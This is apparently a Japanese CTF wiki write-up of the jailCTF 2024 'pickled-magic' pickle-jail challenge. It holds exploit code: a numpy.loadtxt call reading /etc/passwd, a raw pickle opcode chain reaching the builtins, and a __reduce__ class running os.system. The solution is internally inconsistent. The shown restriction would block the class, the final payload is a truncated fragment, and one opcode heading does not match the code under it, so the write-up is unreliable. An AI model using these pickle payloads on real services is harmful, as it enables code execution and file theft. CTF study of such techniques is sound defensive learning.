pyjail wiki

jailCTF 2024 - pickled-magic

Challenge

pickle を使った制限環境でコードを実行する。

import pickle
import io
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
# 特定のクラスのみ許可
if module == "numpy" and name in ["loadtxt", "array"]:
return getattr(__import__(module), name)
raise pickle.UnpicklingError(f"Forbidden: {module}.{name}")
data = input()
RestrictedUnpickler(io.BytesIO(data.encode())).load()

Solution

numpy.loadtxt の悪用

numpy.loadtxtconverters パラメータで任意の関数を呼び出せる:

import numpy as np
# converters に任意の関数を渡せる
np.loadtxt('/etc/passwd', converters={0: lambda x: print(x)})

pickle BUILD オペコード

BUILD オペコードはオブジェクトの __setstate__ または __dict__.update を呼び出す:

c__builtin__
getattr
(c__builtin__
dict
S'get'
tR(c__builtin__
globals
(tRS'__builtins__'
tR.

実際のペイロード

import pickle
class Evil:
def __reduce__(self):
import os
return (os.system, ('id',))
# pickle バイトコード
payload = b"cnumpy\nloadtxt\n(S'/dev/stdin'\nS'rb'\n}"

Technical Details

pickle プロトコルの主要オペコード:

オペコード機能
cGLOBAL - モジュールからオブジェクト取得
RREDUCE - 関数呼び出し
(MARK - スタックマーク
tTUPLE - タプル作成
.STOP - 終了

Flag

jail{...}

References

  • jailCTF 2024 Official
  • Python pickle documentation
  • numpy.loadtxt documentation